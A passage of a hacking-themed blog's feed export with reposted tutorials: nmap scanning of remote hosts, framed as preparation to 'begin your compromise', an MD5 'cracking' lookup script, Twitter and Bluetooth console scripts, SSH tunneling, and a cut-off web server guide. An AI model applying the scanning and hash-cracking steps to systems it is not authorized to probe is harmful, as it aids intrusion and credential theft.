UDP scanning takes longer due to RFC 1812 section 4.3.2.8 and its limiting the ICMP error message rate.  &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-PT    Use TCP "ping" to  determine  what  hosts  are  up.&lt;br /&gt;       Instead  of  sending  ICMP echo request packets and&lt;br /&gt;       waiting for a response, we send out TCP ACK packets&lt;br /&gt;       throughout  the  target  network  (or  to  a single&lt;br /&gt;       machine) and then wait  for  responses  to  return&lt;br /&gt;       Hosts that are up should respond with a RST.&lt;br /&gt;       * To set the destination port:  &lt;br /&gt;         -PT   &lt;br /&gt;       * The default port is 80&lt;br /&gt;&lt;br /&gt;-sU    UDP scans: This method is used to determine which&lt;br /&gt;       UDP (User  Datagram  Protocol,  RFC 768) ports are&lt;br /&gt;       open on a host.  Sends a 0 byte UDP packet to each port on the&lt;br /&gt;       target machine.  If we receive an ICMP port unreachable message, then&lt;br /&gt;       the port is closed. &lt;br /&gt;       Some services that may be found with UDP scanning:&lt;br /&gt;       *BO cDc's backdoor program that hides on a configurable UDP port on Win machines  &lt;br /&gt;       *snmp&lt;br /&gt;       *tftp&lt;br /&gt;       *NFS&lt;br /&gt;       *and others...&lt;br /&gt;&lt;br /&gt;-We won't be showing output from these scans.  Rather, we ask you to perform the above flags&lt;br /&gt;as an exercise for yourself.  Now that you have completed this basic auditing paper you should&lt;br /&gt;take all the information learned here and apply it to one conclusive paper and then begin your&lt;br /&gt;compromise.&lt;br /&gt;&lt;br /&gt;CONCLUSION:&lt;br /&gt;&lt;br /&gt; In conclusion, we have discussed the basics to auditing a remote host or target host.&lt;br /&gt;Knowing the security of your own network is key to being able to defend your network from &lt;br /&gt;malicious intent.  The techniques described here are basic techniques used to gather information&lt;br /&gt;on the remote target before compromise.  Look for further papers from the ATTRITION staff on &lt;br /&gt;Penetration and Auditing of systems.  &lt;br /&gt;&lt;br /&gt;GENERAL INFORMATION:&lt;br /&gt;&lt;br /&gt; ATTRITION Security:  http://www.attrition.org/security/newbie&lt;br /&gt; Nmap Security Scanner:   http://www.insecure.org/nmap&lt;br /&gt; Whitepapers &amp; Publications: http://www.enteract.com/~lspitz/pubs.html&lt;br /&gt; Security Focus:   http://www.securityfocus.com/&lt;br /&gt;        Packet Factory (Firewalk):      http://www.packetfactory.net/&lt;br /&gt;&lt;br /&gt;CONTRIBUTIONS:&lt;br /&gt;&lt;br /&gt; Email all Contributions/Suggestions/Feedback to modify@attrition.org&lt;br /&gt;&lt;br /&gt;ACKNOWLEDGMENTS:&lt;br /&gt; &lt;br /&gt;        The following individuals helped in either review, technical input, or in some other fashion. &lt;br /&gt; &lt;br /&gt;        Brian Martin, Dale Coddington, Jay D. Dyson, and Jeremy Rauch  &lt;br /&gt;&lt;br /&gt;modify@attrition.org&lt;br /&gt;(c) copyright 1998, 1999 Karl Lynn&lt;br /&gt;&lt;br /&gt;reference : http://www.unixgeeks.org/security/newbie/pen/ssarh.html&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-7492585211877453426?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/7492585211877453426/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2011/06/strategic-scanning-and-assessments-of.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/7492585211877453426'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/7492585211877453426'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2011/06/strategic-scanning-and-assessments-of.html' title='Strategic Scanning and Assessments of Remote Hosts (SSARH)'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-7278099580152564902</id><published>2011-05-01T05:04:00.000-07:00</published><updated>2011-05-01T05:28:40.511-07:00</updated><title type='text'>Hack a Mobile Phone with Linux and Python</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://famehack.files.wordpress.com/2011/02/mobile.jpg?w=288&amp;h=219"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 288px; height: 219px;" src="http://famehack.files.wordpress.com/2011/02/mobile.jpg?w=288&amp;h=219" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Managed to breath life back into my old hand-me-down Nokia N70. The phone was having &lt;a href="http://en.wikipedia.org/wiki/White_Screen_of_Death"&gt;White Screen of Death (WSOD)&lt;/a&gt; one too many, a new display IC fixed that. The original nokia battery (Nokia BL-5C) started to swell and needed to be replace.&lt;br /&gt;&lt;br /&gt;Now the old war horse is battle ready, let me hook it up to my laptop via a bluetooth link and do something useful with Python on S60 series. &lt;br /&gt;$ hciconfig reset hci0:&lt;br /&gt;&lt;br /&gt;Type: USB&lt;br /&gt;&lt;br /&gt;BD Address: 00:21:86:A8:BF:03&lt;br /&gt;&lt;br /&gt;ACL MTU: 310:10&lt;br /&gt;&lt;br /&gt;SCO MTU: 64:8&lt;br /&gt;&lt;br /&gt;UP RUNNING PSCAN ISCAN&lt;br /&gt;&lt;br /&gt;RX bytes:1260 acl:0 sco:0 events:34 errors:0&lt;br /&gt;&lt;br /&gt;$ hcitool dev&lt;br /&gt;&lt;br /&gt;Devices: hci0 00:21:86:A8:BF:03&lt;br /&gt;&lt;br /&gt;$ sdptool add --channel=2 SP&lt;br /&gt;&lt;br /&gt;Serial Port service registered&lt;br /&gt;&lt;br /&gt;# Now make sure the Python bluetooth console is running&lt;br /&gt;&lt;br /&gt;$ rfcomm listen rfcomm2 2 In your phone,&lt;br /&gt;&lt;br /&gt;make sure bluetooth is on,&lt;br /&gt;&lt;br /&gt;then go to the Python application and then select the Bluetooth Console.&lt;br /&gt;&lt;br /&gt;Select from the list of available devices your computer's bluetooth adapter (you might need to select search even if you think you have already defined the pairing).&lt;br /&gt;&lt;br /&gt;If the operation is successful, you should see something similar to the following on your computer's shell:&lt;br /&gt;&lt;br /&gt;* Waiting for connection on channel 2 &lt;br /&gt;* Connection from 00:11:9F:BE:47:CA to /dev/rfcomm2 &lt;br /&gt;* Press CTRL-C for hangup&lt;br /&gt;&lt;br /&gt;# Change to different terminal and connect to the device with screen.&lt;br /&gt;&lt;br /&gt;$ screen /dev/rfcomm2&lt;br /&gt;&lt;br /&gt;# Run basic tests.&lt;br /&gt;print u"hello"&lt;br /&gt;&lt;br /&gt;hello&lt;br /&gt;&lt;br /&gt;&gt;&gt;&gt;&lt;br /&gt;&lt;br /&gt;&gt;&gt;&gt;&lt;br /&gt;&lt;br /&gt;import appuifw &gt;&gt;&gt;&lt;br /&gt;&lt;br /&gt;appuifw.note(u"hello world")&lt;br /&gt;&lt;br /&gt;&gt;&gt;&gt;&lt;br /&gt;&lt;br /&gt;This &lt;a href="http://wiki.opensource.nokia.com/projects/PyS60_Bluetooth_console"&gt;Python S60 Bluetooth Console&lt;/a&gt; wiki page provides more step by step intrusions of the whole process.&lt;br /&gt;&lt;br /&gt;reference : http://famehack.wordpress.com/2011/02/20/hack-a-mobile-phone-with-linux-and-python/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-7278099580152564902?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/7278099580152564902/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2011/05/managed-to-breath-life-back-into-my-old.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/7278099580152564902'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/7278099580152564902'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2011/05/managed-to-breath-life-back-into-my-old.html' title='Hack a Mobile Phone with Linux and Python'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-1926014078121597724</id><published>2011-03-29T05:33:00.000-07:00</published><updated>2011-03-29T05:36:17.057-07:00</updated><title type='text'>hashchecker.py</title><content type='html'>well. too long im not update my blog. now i will update again with my tool, my tool called with&lt;br /&gt;&lt;br /&gt;hashcheker.py&lt;br /&gt;&lt;br /&gt;this tool for cheking md5 from web hashchecker.de.&lt;br /&gt;&lt;br /&gt;this my c0de:&lt;br /&gt;&lt;blockquote&gt;#!/usr/bin/python&lt;br /&gt;#This tool just for crack your md5 password&lt;br /&gt;#This application not stable in regex&lt;br /&gt;#&lt;br /&gt;#programmer : kiddies A.k.A peneter&lt;br /&gt;#email : kecoak2004@yahoo.com&lt;br /&gt;#blog : http://devilz-kiddies.blogspot.com&lt;br /&gt;#&lt;br /&gt;#thanks : mywisdom, gunslinger, jimmyromanticdevil, 5ynl0rd(my masta) and you&lt;br /&gt;#community : devilzc0de, anti-jasakom, jasakom, echo, codecall, leetcoder and all&lt;br /&gt;#special thanks for you honey vera. love you&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;import urllib2, urllib, re, time&lt;br /&gt;import sys, os&lt;br /&gt;&lt;br /&gt;if sys.platform == 'linux-1386' or sys.platform == 'linux2' or sys.platform == 'darwin':&lt;br /&gt;    SysCls = 'clear'&lt;br /&gt;else:&lt;br /&gt;    SysCls = 'cls'&lt;br /&gt;&lt;br /&gt;os.system(SysCls)&lt;br /&gt;print ''' &lt;br /&gt;######################################################################&lt;br /&gt;# DDDDD                  iii lll               00000       dd        #&lt;br /&gt;# DD  DD    eee  vv   vv     lll zzzzz   cccc 00   00      dd   eee  #&lt;br /&gt;# DD   DD ee   e  vv vv  iii lll   zz  cc     00   00  dddddd ee   e #&lt;br /&gt;# DD   DD eeeee    vvv   iii lll  zz   cc     00   00 dd   dd eeeee  #&lt;br /&gt;# DDDDDD   eeeee    v    iii lll zzzzz  ccccc  00000   dddddd  eeeee #&lt;br /&gt;#                                                                    #&lt;br /&gt;#                                                                    #&lt;br /&gt;# This Tool for cracking MD5 password                                #                &lt;br /&gt;# Programmer : kiddies A.k.A peneter     Devilzc0de BlackHat Edition #&lt;br /&gt;######################################################################\n\n'''&lt;br /&gt;hash_crack = raw_input('input your hash : ')&lt;br /&gt;url = 'http://hashchecker.de/hash.cgi?action=check&amp;wert=1&amp;hash=' + hash_crack&lt;br /&gt;params = {'hash':hash_crack}&lt;br /&gt;enc = urllib.urlencode(params)&lt;br /&gt;opening = urllib2.urlopen(url, enc)&lt;br /&gt;&lt;br /&gt;page = opening.read()&lt;br /&gt;&lt;br /&gt;result = re.search(r'&lt;script&gt;\S+[c0llasion.net1]+(.*)&lt;/script&gt;', page)&lt;br /&gt;&lt;br /&gt;print result.group()&lt;br /&gt;&lt;br /&gt;opening.close()&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;my tool have a bug in regex. if yopu can fix this problem please contact me in my email&lt;br /&gt;movax30@hotmail.com. thanks&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-1926014078121597724?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/1926014078121597724/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2011/03/hashcheckerpy.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/1926014078121597724'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/1926014078121597724'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2011/03/hashcheckerpy.html' title='hashchecker.py'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-7951594563440526609</id><published>2010-12-26T12:49:00.000-08:00</published><updated>2010-12-26T12:52:17.754-08:00</updated><title type='text'>Twitter Console Version 0.1</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://sphotos.ak.fbcdn.net/hphotos-ak-ash2/hs300.ash2/58065_164618676914407_100000988277368_324654_6467962_n.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 671px; height: 499px;" src="http://sphotos.ak.fbcdn.net/hphotos-ak-ash2/hs300.ash2/58065_164618676914407_100000988277368_324654_6467962_n.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;this software made by kiddies. this tool can be update status in twitter via console and look friends and waht they status..&lt;br /&gt;&lt;br /&gt;this version 0.1 twitter console.&lt;br /&gt;&lt;br /&gt;your comment and critical can be sent to my email or give comment here&lt;br /&gt;your comment will be make this tool perfectly&lt;br /&gt;&lt;br /&gt;source:&lt;br /&gt;&lt;blockquote&gt;#!/usr/bin/python&lt;br /&gt;&lt;br /&gt;#This tool just for fun&lt;br /&gt;#thanks : mywisdom, gunslinger_, flyff666, petimati, synlord(get your honey dude :p), jimmy, whitehat and you !&lt;br /&gt;#special made : devilzc0de&lt;br /&gt;#email : kecoak2004@yahoo.com&lt;br /&gt;#blog : http://devilz-kiddies.blogsport.com and http://kiddiescode.wordpress.com&lt;br /&gt;#forum thanks : devilzc0de, jasakom, antijasakom, void-labs, and all community&lt;br /&gt;#special thanks: for my lovely(verawati), you always beside me when im sad, fall and happy&lt;br /&gt;&lt;br /&gt;import twitter&lt;br /&gt;import time&lt;br /&gt;&lt;br /&gt;#twitter connect&lt;br /&gt;print """&lt;br /&gt;####################################################&lt;br /&gt;#~|~    o_|__|_ _._  |~ _ ._  _ _ | _      /\ '|   #&lt;br /&gt;# | \/\/| |  | }_|   |_(_)| |_\(_)|}_  \/  \/o |   #&lt;br /&gt;#                                                  #&lt;br /&gt;#  twitter console version 0.1        #&lt;br /&gt;#  developed by kiddies A.k.A peneter #&lt;br /&gt;####################################################&lt;br /&gt;"""&lt;br /&gt;&lt;br /&gt;user_name = raw_input("please insert your username or email : ")&lt;br /&gt;pass_word = raw_input("please insert your password : ")&lt;br /&gt;try:&lt;br /&gt; connect = twitter.api(username = user_name, password = pass_word)&lt;br /&gt; print "your twitter account was connected"&lt;br /&gt; print "what do you wanna do ? "&lt;br /&gt; print "[1]Update your wall"&lt;br /&gt; print "[2]Look your frieds wall"&lt;br /&gt; choose = raw_input("coose 1 or 2 : ")&lt;br /&gt; if choose == "1":&lt;br /&gt;  wall = raw_input("input your wall message : ")&lt;br /&gt;  update = connect.PostUpdate(wall)&lt;br /&gt;  print "your twitter wall have been updated : %s " % wall&lt;br /&gt;  print "Thanks for using Twitter Console"&lt;br /&gt; if choose == "2":&lt;br /&gt;  wall_look = connect.GetFriends()&lt;br /&gt;  for wall in wall_look:&lt;br /&gt;   look = wall.screen_name + wall.status.text&lt;br /&gt;   time.sleep(50)&lt;br /&gt;   print look&lt;br /&gt; else:&lt;br /&gt;  print "[-]Back to Main Menu" &lt;br /&gt;  &lt;br /&gt; &lt;br /&gt;except ImportError:&lt;br /&gt; print "Please check twitter module"&lt;br /&gt; print "Please check your Connection"&lt;br /&gt; print "Please check your username or password, may be those invalid"&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-7951594563440526609?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/7951594563440526609/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2010/12/twitter-console-version-01.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/7951594563440526609'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/7951594563440526609'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2010/12/twitter-console-version-01.html' title='Twitter Console Version 0.1'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-6923639801042816009</id><published>2010-12-07T15:41:00.000-08:00</published><updated>2010-12-07T15:43:03.346-08:00</updated><title type='text'>Basic Linux security</title><content type='html'>Computer security has become a critical subject in information technology system these days. If we looked back in history, the security threat has started a long time ago during 1970s when telephone system has been hacked. Many computer crimes happened and as a result, the Computer Fraud and Abuse Act has been made in 1980s. As technology advanced, the evolution of computer networking and the born of Internet, the threats to information and networks have risen significantly. The well-known harassment and destructive attacks are denial of service (DOS), mail bombs and list-linking, viruses, worms and Trojan horses.&lt;br /&gt;&lt;br /&gt;Many efforts have been taken to improve computer security including the use of a network and security tools, control user access using permissions and passwords, data encryptions, and virus detectors. Other approaches to improve computer security involve secure operating systems, security architecture, security by design, secure coding and application.&lt;br /&gt;Physical security&lt;br /&gt;&lt;br /&gt;The purpose of security is to prevent unauthorized access into the system. This involves securing the physical and network access. Securing the physical access means to limit who can physically access your system, server room and workstations. It's been estimated that 80% of intrusions initiated by insiders. Securing physical access can be made by implementing a restricted area to the network operation centers and developing security policy controls.&lt;br /&gt;&lt;br /&gt;Another way of securing the physical access into the system is to secure network hardware such as routers, bridges and switches from local users. Many network hardware have password issue which provide the means to perform onside password recovery. Several steps can be taken such as setting administrative and user password by overwrite the default password, enabled encryption, disable unwanted service such as telnet, and use security utility options if provided by the network hardware.&lt;br /&gt;&lt;br /&gt;If your servers and security hardware are secured, intruder will look at other vulnerabilities which are workstation and user. Securing workstation can be made with BIOS and console passwords. For the users part, they must be given security knowledge such as never reveal their password to anyone else, never leave their computer unlock, and so on and alert them with security threats from time to time.&lt;br /&gt;Linux network security&lt;br /&gt;&lt;br /&gt;Securing the network access is securing access to the operating system remotely. One of the network security threat is malicious code, such as virus and Trojan which create a backdoor in your system. There are many file integrity checking software available for Linux. Some of them are Tripwire, TAMU, Aide and ATP.&lt;br /&gt;&lt;br /&gt;Other network security attack is sniffers and network monitoring tools. Sniffers are very dangerous because they can capture sensitive data such as passwords and confidential information.&lt;br /&gt;&lt;br /&gt;Scanners are also a high risk tool use by attacker to scan your system and network. To protect your network and system from scanner you can use a firewall and other tools such as IcmpInfo, scan-detector and klaxon.&lt;br /&gt;&lt;br /&gt;Another way of attacking a network is spoofing attack. There are TCP and IP spoofing, ARP spoofing and DNS spoofing.&lt;br /&gt;&lt;br /&gt;reference:http://www.basicconfig.com/linuxsecurity&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-6923639801042816009?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/6923639801042816009/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2010/12/basic-linux-security.html#comment-form' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/6923639801042816009'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/6923639801042816009'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2010/12/basic-linux-security.html' title='Basic Linux security'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-2734694934748837189</id><published>2010-10-22T05:59:00.000-07:00</published><updated>2010-10-22T06:00:59.521-07:00</updated><title type='text'>Tunnel Everything through SSH</title><content type='html'>n this Tutorial I'll cover how you can tunnel any TCP traffic through an encrypted SSH connection or a SOCKS server, even if a certain program doesn't support proxying of connections natively.&lt;br /&gt;&lt;br /&gt;The only requirement for SSH tunneling to work is a shell account on a machine connected to the internet (and, optionally, a HTTP Proxy server). I will refer to this account as your server (it doesn't matter if you may not become root).&lt;br /&gt;Tunneling HTTP&lt;br /&gt;&lt;br /&gt;In case you just want to tunnel HTTP traffic (to surf safely, to let the request appear to originate from a different IP and/or to not disclose HTTP clear text passwords to your LAN) best practise is to set up Privoxy on your server. By default, Privoxy binds to 127.0.0.1:8118 (thus only allowing connections from localhost), which is good for us. No configuration must be done for this.&lt;br /&gt;&lt;br /&gt;The next step is to establish a tunnel from your computer to your server's Privoxy. That is done with the following SSH command:&lt;br /&gt;&lt;br /&gt;ssh -NL 8118:localhost:8118 user@server&lt;br /&gt;&lt;br /&gt;This command opens a tunnel on your computer: All connections to port 8118 will be forwarded (encrypted, of course) over the SSH connection and come out at your server's port 8118 (where Privoxy is running).&lt;br /&gt;&lt;br /&gt;Once you have established the connection you will want to edit your browser's proxy settings accordingly. Just set the HTTP (and, with some browsers, the HTTPS) proxy to localhost, port 8118.&lt;br /&gt;Advantages&lt;br /&gt;&lt;br /&gt;The great advantage over SOCKS tunneling (see below) is, that even the DNS requests are made from your server. No-one on your LAN can gather information on what kind of site you're surfing. Another advantage is that Privoxy already filters out some advertisements and removes sensitive headers from your requests.&lt;br /&gt;Tunneling Arbitrary Protocols (Dynamic Forward/SOCKS)&lt;br /&gt;&lt;br /&gt;If you want to tunnel not just HTTP traffic but arbitrary other TCP protocols as well, a HTTP Proxy isn't adequate any more. Instead, you'll have to set up a SOCKS proxy. That also is possible with SSH:&lt;br /&gt;Setting up the SSH proxy&lt;br /&gt;&lt;br /&gt;Setting up the SSH SOCKS proxy is really easy. On your computer, just enter the following command:&lt;br /&gt;&lt;br /&gt;ssh -ND 3333 user@server&lt;br /&gt;&lt;br /&gt;That command establishes a connection to your server, logs in as user user (you'll have to enter your password though, of course) and then starts a little SOCKS proxy on your server.&lt;br /&gt;&lt;br /&gt;On your computer, all connections to port 3333 will be forwarded over the secure SSH channel and will then be forwarded by the proxy to their destination.&lt;br /&gt;&lt;br /&gt;Now you'll have to configure the program you want to connect through that tunnel to use localhost, port 3333 as it's SOCKS server (if you have the choice, select SOCKS version 5).&lt;br /&gt;&lt;br /&gt;Not many programs support SOCKS proxy forwarding natively (hardly any CLI programs). But there is a workaround for that: tsocks. It enables arbitrary programs which don't support the SOCKS protocol natively to establish connections via a SOCKS server.&lt;br /&gt;How tsocks works&lt;br /&gt;&lt;br /&gt;On your computer, install the tsocks program.&lt;br /&gt;&lt;br /&gt;I won't go into detail about how this program works, but it basically does the following:&lt;br /&gt;&lt;br /&gt;    * Before the actual program is loaded tsocks loads its own shared library.&lt;br /&gt;    * This library overwrites the kernel's connect() function and replaces it with its own.&lt;br /&gt;    * Whenever the program tries to send a request the request is forwarded through your proxy server (and then over the secure tunnel).&lt;br /&gt;&lt;br /&gt;All this is done through setting the environment variable LD_PRELOAD to /usr/lib/libtsocks.so.&lt;br /&gt;&lt;br /&gt;The tsocks program itself is just a simple shell wrapper script. All the actual redirecting stuff is done via the library.&lt;br /&gt;Editing the /etc/tsocks.conf&lt;br /&gt;&lt;br /&gt;Now you'll have to edit the file /etc/tsocks.conf to relay all connections through your proxy. Open the file and delete all lines. Then enter just the following two lines:&lt;br /&gt;&lt;br /&gt;server = 127.0.0.1&lt;br /&gt;server_port = 3333&lt;br /&gt;&lt;br /&gt;If you may not become root ...&lt;br /&gt;&lt;br /&gt;... just enter the two lines from above into a file called .tsocks.conf and place it in your home directory. Then, write a little shell script:&lt;br /&gt;&lt;br /&gt;#!/bin/sh&lt;br /&gt;&lt;br /&gt;TSOCKS_CONF_FILE=$HOME/.tsocks.conf&lt;br /&gt;export TSOCKS_CONF_FILE&lt;br /&gt;exec tsocks "$@"&lt;br /&gt;&lt;br /&gt;I call this script viaservername. Place this script in a directory contained in your $PATH and make it executable.&lt;br /&gt;Tunneling Connections&lt;br /&gt;&lt;br /&gt;For programs who natively support proxying connections (e.g. Mozilla Firefox) you can now set the proxy address to localhost port 3333. I don't recommend to do that for browsers; instead, use HTTP tunneling (see above).&lt;br /&gt;&lt;br /&gt;All other programs which's connections you want to tunnel through your server are prefixed with tsocks. This would look like some of the following program calls (if you wrote a shell script, use that instead of tsocks):&lt;br /&gt;&lt;br /&gt;tsocks dog http://www.google.com&lt;br /&gt;tsocks netcat example.com 80&lt;br /&gt;tsocks irssi -c irc.freenode.net -p 6667&lt;br /&gt;&lt;br /&gt;If you call tsocks without parameters it executes a shell witht the LD_PRELOAD environment variable already set and exported. That means that every program called from this shell will be redirected through the external server and every subsehll started from this shell will also have the LD_PRELOAD variable set. So if you started tsocks directly after logging in all your traffic would be redirected through your external server.&lt;br /&gt;Example&lt;br /&gt;&lt;br /&gt;$ cat =myip&lt;br /&gt;#!/bin/sh&lt;br /&gt;lynx -dump http://tnx.nl/ip&lt;br /&gt;&lt;br /&gt;$ ssh -fND 3333 xxx@feh  # -f: goes to background after prompting for password&lt;br /&gt;xxx@feh.name's password:&lt;br /&gt;&lt;br /&gt;$ IP=`myip`; host $IP&lt;br /&gt;Name: p54XXXX8B.dip.t-dialin.net&lt;br /&gt;Address: 84.143.XXX.XXX&lt;br /&gt;&lt;br /&gt;$ IP=`tsocks myip`; host $IP&lt;br /&gt;16:15:23 libtsocks(26802): Call to connect received on completed request 3&lt;br /&gt;Name: feh.name&lt;br /&gt;Address: 217.160.108.109&lt;br /&gt;&lt;br /&gt;Have fun!&lt;br /&gt;&lt;br /&gt;reference: http://www.plenz.com/tunnel-everything&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-2734694934748837189?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/2734694934748837189/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2010/10/tunnel-everything-through-ssh.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/2734694934748837189'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/2734694934748837189'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2010/10/tunnel-everything-through-ssh.html' title='Tunnel Everything through SSH'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-6485482031300201479</id><published>2010-10-18T02:13:00.000-07:00</published><updated>2010-10-18T02:15:12.420-07:00</updated><title type='text'>Making your Home Computer / Dedicated Computer your own Web Server!!!</title><content type='html'>In this tutorial we will learn how to make your personal web server from a Home Computer or a Dedicated Computer using Windows 2000, Windows XP and Windows 2003. In the end we will have asp and php extensions installed. Also have a very commonly used program called mysql (Database Management) Lets get started!&lt;br /&gt;&lt;br /&gt;1. Installing Internet Information Services (IIS)&lt;br /&gt;Note: Have your Windows XP or Windows 2000 CD Inside the CD-Rom Drive. That way it just installs the software with out asking you to place it in.&lt;br /&gt;&lt;br /&gt;Start &gt; Settings &gt; Control Panel &gt; Add &amp; Remove Programs&lt;br /&gt;A window is going to pop-up, on the left hand side a button titled "Add/Remove Windows Components"&lt;br /&gt;Another window should pop-up and look something like this:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Next to Application Server (Windows 2003) or Internet Information Services ( Windows XP)&lt;br /&gt;Click so the check mark is showing. (Advanced Installation) Click on detail and select 